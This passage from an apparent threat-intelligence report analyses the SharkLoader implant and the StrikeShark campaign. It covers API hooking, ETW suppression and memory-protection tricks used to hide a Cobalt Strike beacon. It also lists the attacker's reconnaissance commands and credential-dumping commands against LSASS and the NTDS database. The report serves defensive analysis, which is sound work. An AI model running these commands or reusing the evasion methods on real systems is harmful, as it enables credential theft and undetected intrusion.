Redirects the API call to a direct NtProtectVirtualMemory syscall stub constructed by jitasm.
VirtualProtect
Redirects the API call to a direct NtProtectVirtualMemory syscall stub constructed by jitasm.
ResumeThread
Redirects the API call to a direct NtResumeThread syscall stub constructed by jitasm.
GetThreadContext
Redirects the API call to a direct NtGetContextThread syscall stub constructed by jitasm.
OpenThread
Redirects the API call to a direct NtOpenThread syscall stub constructed by jitasm.
NtCreateThread
Redirects the API call to a direct NtCreateThread syscall stub constructed by jitasm.
NtCreateThreadEx
Redirects the API call to a direct NtCreateThreadEx syscall stub constructed by jitasm.
NtQueueApcThread
Redirects the API call to a direct NtQueueApcThread syscall stub constructed by jitasm.
NtQueueApcThreadEx
Redirects the API call to a direct NtQueueApcThreadEx syscall stub constructed by jitasm.
ExpandEnvironmentStringsA
The detour redirects the API to a custom function that creates a new thread. That thread executes a routine that calls the ExpandEnvironmentStringsA API.
CreateFileMappingA
The detour redirects the API call to a custom function that creates a new thread. Within the thread, it initializes thread-pool and timer objects, sets a threadpool timer for 10 ms and a waitable timer for 0.1 ms, then calls CreateFileMappingNumaA.
If thread creation fails, CreateFileMappingNumaA is called directly without creating a thread.
MapViewOfFile
The detour redirects the API call to a custom function that creates a new thread. The thread runs a similar thread-pool and timer setup to the previous function, resolves MapViewOfFileEx via GetProcAddress, calls it with zeroed arguments, and stores the return value.
UnmapViewOfFile
The detour redirects the API to a function that tries to run the unmap (same API) in a new thread.
The thread creates an event and timer queue, schedules a callback after 10 ms to call UnmapViewOfFile and signal the event, then waits and cleans up.
If thread creation fails, it calls UnmapViewOfFile directly.
NtMapViewOfSectionEx
Redirects the API call to a direct NtMapViewOfSectionEx syscall stub constructed by jitasm.
NtCreateNamedPipeFile
Redirects the API call to a direct NtCreateNamedPipeFile syscall stub constructed by jitasm.
NtReadFile
Redirects the API call to a direct NtReadFile syscall stub constructed by jitasm.
NtWriteFile
Redirects the API call to a direct NtWriteFile syscall stub constructed by jitasm.
EtwEventWrite
The detour redirects EtwEventWrite to a stub that always returns 1, which prevents ETW logging.
EventWriteEx
The detour redirects EventWriteEx to a function that always returns 0, which prevents ETW logging.
EventWrite
The detour redirects EventWrite to a function that always returns 0, which prevents ETW logging.
Upon completing the installation of API hooks via the decrypted SyncRes.dat, the DscCoreR.mui DLL proceeds with the remaining functions, which are discussed below.
VEH registration and access violation handling
Following the installation of the API hooks, the malware registers a Vectored Exception Handler (VEH) to monitor exceptions generated during runtime. The handler specifically checks for access violation exceptions (0xC0000005). When such an exception occurs, it retrieves the faulting memory address from the exception record and calls VirtualProtect to restore read, write, and execute (RWX) permissions to the corresponding memory page before resuming execution.
During our analysis, no access violations were observed. It is possible that this mechanism is intended to handle access violations that may occur under specific runtime conditions.
Thread creation for Cobalt Strike Beacon execution
The malware creates a new thread in a suspended state that is intended to execute the Cobalt Strike Beacon shellcode. The thread entry point is configured to point to a memory buffer that will later contain the beacon shellcode.
At this stage, the buffer does not yet contain the actual Cobalt Strike Beacon shellcode. Instead, the thread is created in a suspended state so that the malware can prepare and inject the shellcode into the buffer before execution. Once the beacon payload has been written into the buffer, the malware resumes the suspended thread using the ResumeThread API, which triggers the execution of the Cobalt Strike beacon.
MinHook DLL, API hooking, and Cobalt Strike beacon
After creating the suspended thread for beacon execution, the malware decompresses a zlib-compressed MinHook PE file embedded within DscCoreR.mui. The MinHook library is used to install API hooks for the VirtualAlloc and Sleep functions. Once the MinHook DLL is decompressed and loaded into memory, the malware resolves the exported functions MH_Initialize and MH_CreateHook, which are then used to install hooks on the VirtualAlloc and Sleep APIs.
After the hooks are installed, the malware invokes a function that decompresses a zlib-compressed Cobalt Strike Beacon shellcode embedded within the malware. The function first decompresses the shellcode into a temporary buffer and then allocates executable memory using VirtualAlloc with RWX permissions. The decompressed beacon is subsequently copied into the allocated memory region.
Because the VirtualAlloc API has already been hooked at this stage, the hook handler captures the address and size of the allocated memory used to store the beacon shellcode. The hook records the addresses and sizes of the first three successful memory allocations and stores these values in global variables to track specific memory regions allocated during execution. These tracked regions are associated with memory buffers used by the Cobalt Strike Beacon during runtime.
The second hook, on the Sleep API, is used when Cobalt Strike Beacon calls Sleep, such as during beacon sleep intervals. It temporarily modifies the memory protection of the tracked allocation regions by using VirtualProtect, changing their protection to PAGE_READWRITE (RW) before invoking the original Sleep function. After the sleep period ends, the malware restores the memory protection of those regions to PAGE_EXECUTE_READWRITE (RWX). This behavior suggests that the malware developer implemented this mechanism to evade memory scanning techniques that identify executable (RWX) code regions in memory.
Finally, after the API hooks are installed and the Cobalt Strike Beacon shellcode has been written to the thread buffer, the malware calls the ResumeThread API to resume the suspended thread and begin execution of the beacon.
Persistence mechanism
While the analyzed SharkLoader implant does not contain a built-in persistence mechanism especially when it comes to cases when it is dropped after the exploitation of a public-facing application, our investigations revealed that the threat actor employs several techniques to maintain access to compromised systems.
Registry Run key: In the incident that affected an organization in Hong Kong, the attacker manually created a registry Run key to launch SystemSettings.exe upon user logon. The following command was used:
This technique allows the malware to automatically execute whenever the user logs in, ensuring persistent access.
Scheduled task: In the separate compromise that affected a diplomatic government entity in Indonesia, the attacker established persistence through a scheduled task configured to execute SharkLoader daily. The task, named "\Microsoft\Windows\Edge\Edgeupdate", was configured to run C:\ADriveLogs_Logs\SystemSettings.exe by using the following command:
Running the task with SYSTEM privileges ensures that SharkLoader executes even if no user is logged in.
Post-compromise activity
Following initial compromise and persistence, the attacker engaged in extensive reconnaissance and credential theft activities.
System information enumeration: The attacker initially gathered basic system information by using the following commands:
systeminfo
ipconfig /all
tasklist /svc
Post-exploitation tools: Our analysis revealed the use of several third-party post-exploitation tools, most of which are open-source and developed by Chinese-speaking developers. These tools included:
Tool name
Description
FScan
Network scanner tool with vulnerability
exploitation modules
Searchall
Sensitive information search tool
Pillager
Information gathering tool
We also detected the use of SharpGPOAbuse by the threat actor, a tool designed to modify Group Policy Objects within Active Directory environments.
Active Directory enumeration: In the compromise affecting a diplomatic government entity in Indonesia, the attacker used both Cobalt Strike and a webshell to enumerate the internal Active Directory environment. They executed a series of commands to gather information about the network, users, and groups:
Network information:
ping -n
netstat -ano
arp -a
net share
User and group information:
query user
nslookup
quser
net group /domain
Specific group membership:
powershell "Get-ADGroupMember -Identity "" -Recursive | Select-Object Name, ObjectClass"
dsquery group -name "" | dsget group -members -expand | dsget user -samid -display -email"
powershell "Get-ADGroupMember -Identity "" -Recursive | Where-Object { $_.ObjectClass -eq "computer" } | Select-Object Name, SamAccountName"
powershell -exec bypass -c "Get-ADUser -Filter * -Prop * | select sAMAccountName
net group "Domain Controllers" /domain
net group "Enterprise Admins" /domain
net group "Organization Management" /domain
net group "domain admins" /domain
Process enumeration:
tasklist /SVC | findstr $selfname.exe
Directory listing:
dir \\c$
dir \\c$\inetpub
dir \\c$\inetpub\custerr
dir \\c$\inetpub\wwwroot\
Credential dumping: The attacker also attempted to dump credentials from the compromised machine by targeting both the LSASS process and the NTDS database file. The following commands were observed:
ntdsutil "ac i ntds" "ifm" "create full $temp" q q
Procdump64.exe -accepteula -ma lsass.exe $temp\lsass.dmp
Dumping the LSASS process allows the attacker to extract in-memory credentials, while accessing the NTDS database enables retrieval of Active Directory account password hashes. This combination of techniques allows the attacker to obtain privileged credentials for lateral movement, privilege escalation, and deeper compromise.
Victimology
The victimology observed in this campaign shows a combination of strategic and opportunistic characteristics. Confirmed victims include government-related entities, such as the ministry in Taiwan and the diplomatic organization in Indonesia, as well as software development companies in Taiwan, Lebanon, and Syria. Additional affected organizations were identified in Hong Kong, Colombia, Macedonia, Nepal, and Serbia.
Targeting of government and software development organizations may indicate a cyber-espionage objective, although our confidence remains low due to the limited post-compromise activity observed, which primarily consisted of credential access, system reconnaissance, and lateral movement. The compromise of government and software development organizations could indicate an interest in gathering political intelligence or intellectual property.
At the same time, the use of SharkLoader and Cobalt Strike, alongside the exploitation of public-facing applications and malicious installers and droppers, suggests the attacker may also be opportunistically targeting vulnerable systems. The absence of clear evidence of data exfiltration thus far does not exclude this possibility, as Cobalt Strike’s file operation and data exfiltration modules could be employed at a later stage.
Although the full scope of the campaign is not yet known, the combination of targeted and opportunistic activity suggests it should continue to be closely monitored.
Attribution
Our investigation reveals no code or infrastructure overlap linking SharkLoader to any existing threat actor at this time. The TTPs employed during the operation also do not align with those of known actors.
However, analysis of the post-exploitation open-source tools used during the campaign revealed that several reconnaissance tools, including FScan, Searchall, and Pillager, were developed by individuals identified as Chinese speaking developers on GitHub.
We assess StrikeShark to be a Chinese-speaking threat actor with low confidence. This assessment is based on limited indicators and should be considered preliminary. Further investigation is required to characterize this cluster more fully, and the possibility remains that other actors may also be utilizing these tools.
Conclusion
Our investigation discovered a previously undocumented intrusion cluster that we are tracking as StrikeShark. The StrikeShark campaign represents a sophisticated malware threat to entities worldwide. The use of SharkLoader to deploy Cobalt Strike, coupled with API hook installation to evade detection, demonstrates a significant level of technical expertise. The campaign’s broad targeting across sectors and geographic regions suggests a potential focus on espionage or information gathering. While the precise objectives remain under investigation, the combination of targeting government entities and software developers warrants heightened vigilance.
Given that our visibility is limited to incidents observed through Kaspersky telemetry, we suspect the actual number of compromises may be significantly higher and extend beyond these victims as the threat actor actively used several exploitations of public facing application.